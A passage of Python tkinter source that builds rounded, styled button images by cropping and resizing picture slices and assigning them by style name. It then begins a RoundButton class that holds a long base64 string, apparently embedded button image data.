Img11= ImageTk.PhotoImage(img11)
img12= img12.resize((120,60),Image.ANTIALIAS)
imga3 = img12.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img12.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img12.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img12= imgror3
Img12= ImageTk.PhotoImage(img12)
img13= img13.resize((120,60),Image.ANTIALIAS)
imga3 = img13.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img13.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img13.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img13= imgror3
Img13= ImageTk.PhotoImage(img13)
img14= img14.resize((120,60),Image.ANTIALIAS)
imga3 = img14.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img14.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img14.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img14= imgror3
Img14= ImageTk.PhotoImage(img14)
img15= img15.resize((120,60),Image.ANTIALIAS)
imga3 = img15.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img15.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img15.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img15= imgror3
Img15= ImageTk.PhotoImage(img15)
f= self.master['background']
if Blass=="Success":
self.configure(image= Img1,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img1)
elif Blass=="Warning" :
self.configure(image= Img2,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
#print(l)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img2)
#print(l)
elif Blass=="Alert":
self.configure(image= Img3,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img3)
elif Blass=="Cliche":
self.configure(image= Img4,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img4)
elif Blass=="Violet-ver":
self.configure(image=Img5,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img5)
elif Blass=="Pinky":
self.configure(image= Img6,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img6)
elif Blass=="Cyan":
self.configure(image= Img7,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img7)
elif Blass=="Info-Type":
self.configure(image= Img8,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img8)
elif Blass=="Golden":
self.configure(image= Img9,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img9)
elif Blass=="Pure":
self.configure(image= Img10,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img10)
elif Blass=="Default":
self.configure(image= Img11,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img11)
elif Blass=="Blue":
self.configure(image= Img12,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img12)
elif Blass=="MidNight":
self.configure(image= Img13,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img13)
elif Blass=="Dark-Knight":
self.configure(image= Img14,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img14)
elif Blass=="Deep-Blue-Sea":
self.configure(image= Img15,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img15)
#print(self.__lp)
#print(len(self.__lp))
self.after(10, self.dff)
class RoundButton(tk.Button):
__op= []
def dff(self):
if self['background']!= self.master['background'] or self['activebackground']!= self.master['background'] :
self.configure(bg= self.master['background'], activebackground= self.master['background'])
print("configuring colors of graphical-base64-based widgets is banned")
def Type(self,Blass,x=80,y=80):
orangeip= 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7bJ8Ph8B0SFjgjFgCwTxIaHpO2KJlMPqOlwAn0K+r29vbZoVDoR4QFAMBkZJ04XNr6aDRap6XACWxgaGlpCUUikWtN03y1lgAAmJAEhrfKmvE1nQZOYANDU1PT1fLNP0unAABMSQLDylgs1qHTQAnkOQzyzf6gfNPX6RQAgLzZtj2WzWbfFrQbVQUuMHR1db1BwsJvDMOYriUAAAoioeHpsbGxE3t6erZqyfcCdUhi2bJl+0lYWE9YAACUQtaRg+vq6r7nnA+nJd8LVGCYOXPmavkmH6VTAACKJi9AT58zZ85VOvW9wCSjeDz+cfnmcolPAEA5vaW5ufnugYGBP+vctwJxDkNXV9epEhZ+aRhGWEsAAJSFZVnP2bb9xlQq9aiWfMn3hyRWrFgxR8LC9wkLAIBKkDVmlqwxP/D7RZ18HxgaGxt75Rv5Kp0CAFB2EhoWhUKhf9epL/n6kEQ8Hv+ohIVv6BQAgIqxhXRLEonELbmKv/g2MOj1Fu6SwFCvJQAAKkoyw9axsbE3+PH6DL48JLF8+fIZEhauJSwAAKpJ1p25dXV133GGuYp/+DIwzJw587/km3a0TgEAqBp5wXp2V1eX797G77sEFI/H3yFh4UadAgBQdbZt785kMs3d3d33a8nzfBUYotFoUygU+qOzJaQlAABqQkLDvdls9qR0Op3Rkqf56pCEhIU0YQEA4AayHp1gmuaVOvU83+wwdHV1XSyBYbVOAQCoOdu2s5ZlLU6lUrdrybN8ERg6OjoOrauru1/S3H5aAgDAFSQ0PJLNZo9Pp9MjWvIkXxySkLDgHIogLAAAXEfWpyP9cBVIz+8wxGKxVtM0v61TAABcx7ZtS7q3JhKJO3IV7/F0YOjs7DxYUtv9EhhmaQkAAFeS0PDgyMjICX19fbu15CmePiQRDocThAUAgBcYhvG6hoaGK3TqOZ7dYYjH4++XB/9anQIA4HrOuybGx8dPWrVq1T1a8gxP7jC0trYeIN3XcjMAALxBXuiGwuFwuqWlJaQlz/BkYJg+ffoX5EF/pU4BAPAMWb8WNjU1fUSnnuG5QxLRaPSUUCh0uzzgvriGBAAgeGzb3pHJZI7p7u5+Qkuu56kdhsWLF4clLKQICwAAL5NlrDEcDl+jU0/wVGBYsGDBx+VBPk6nAAB4lmma747FYu/Sqet55pV6V1fXq+TB/ZOTyrQEAICn2bY9ODIyssAL12bwzA6DhIUvERYAAH4i69r8hoaGT+rU1TyxwxCNRk8Lh8MbdQoAgG/Ytr1rdHT0mN7e3i1aciXX7zA471U1TdNTJ4YAAJAvwzCmRyKRr+rUtVwfGJqamlZKYDhepwAA+I6sc+/t6uo6S6eu5OpDEvF43LlPxMOSvmbnKgAA+JNt238cGho6ob+/P6slV3H7DsNnCQsAgCCQ9e71TU1N7Tp1HdfuMHR2dh4ZDoc3ywMY0RIAAL5m2/bW0dHR1/T29m7Xkmu4dochFAr9J2EBABAksu7Nra+v/xeduoordxii0ehbwuHwr3UKAEBgOG+zlO51iUTi8VzFHVy5wxAKhb6sQwAAAsUwjOkSGj6vU9dw3Q5DPB5/tzxYP9QpAACBI4HBymQyx3d3d9+vpZpz2w6D8/n8e24IAEAwyQtnMxwOu2qXwVWBIRaLrZAHaYFOAQAILNM0393Z2XmyTmvONYGhpaUlImHhCp0CABB4oVDoCzqsOdcEhqampi4JDPN0CgBA4JmmebpbLhntisDQ2to6TbpP5WYAAOAlEhqu1GFNuSIwTJ8+PWoYxsE6BQAAStbHU+Lx+Nk6rZma